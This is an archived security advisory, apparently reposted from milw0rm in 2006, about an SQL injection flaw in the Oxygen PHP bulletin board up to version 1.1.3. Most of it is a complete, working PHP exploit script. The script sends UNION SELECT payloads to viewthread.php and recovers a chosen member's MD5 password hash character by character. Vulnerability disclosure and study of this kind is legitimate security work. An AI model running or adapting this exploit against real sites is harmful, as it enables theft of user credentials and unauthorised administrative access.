[EXPL] Oxygen SQL Injection (Exploit, O2PHP)

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  Oxygen SQL Injection (Exploit, O2PHP)
------------------------------------------------------------------------


SUMMARY

 <http://www.o2php.com/> Oxygen is "a PHP based bulletin board system". An 
SQL injection vulnerability in the Oxygen product allows remote attackers 
to include arbitrary SQL and utilize it to gain administrative access to 
the system.

DETAILS

Vulnerable Systems:
 * Oxygen version 1.1.3 and prior

Exploit:
#!/usr/bin/php
<?

if($argc<4){
 print("
 -------------------------------------------------------
 Affected.scr..: Oxygen <= 1.1.3 (O2PHP Bulletin Board)
 Poc.ID........: 14061118
 Type..........: SQL Injection
 Risk.level....: Medium
 Conditions....: register_globals = on
 Src.download..: download.o2php.com
 Poc.link......: acid-root.new.fr/poc/14061118.txt
 Credits.......: DarkFig
 Note..........: FOR EDUCATIONAL PURPOSE ONLY
 -------------------------------------------------------
 Usage.........: php 14061118.txt <host> <path> <userid>
 -------------------------------------------------------\n");
 exit(1);
}

print "\n Please be patient (max=736 hits)...\n MD5: ";
$host = !preg_match("/^http:\/\/(\S*)/",$argv[1],$hwttp) ? $argv[1] : 
$hwttp[1];
$path = $argv[2];
$usid = intval($argv[3]);
$tabl = "o2_members";

for($x=1;  $x<=32; $x++) {
for($y=48; $y<=71; $y++) {

$recv  = '';
$sqli  = 
"%20UNION%20SELECT%201,1%20FROM%20".$tabl."%20WHERE%20uid=".$usid."%20AND%20substr(password,".$x.",1)=char(".$y.")%23";
$data  = "GET ".$path."viewthread.php?tid=1&pid=-1".$sqli." HTTP/1.1 
\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";

if(!$sock  = @fsockopen($host, 80)) die("Connection problem\n");
fputs($sock, $data);

while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);

if(preg_match("/Location: viewthread.php/", $recv)) {
  print strtolower(chr($y));
  break;
} elseif($y == 71) {
  print "Not vulnerable\n";
  exit(1);

}}}

print "\n";
exit(0);

?>

# milw0rm.com [2006-11-18]


ADDITIONAL INFORMATION

The information has been provided by DarkFig.
The original article can be found at:  
<http://www.milw0rm.com/exploits/2810> 
http://www.milw0rm.com/exploits/2810



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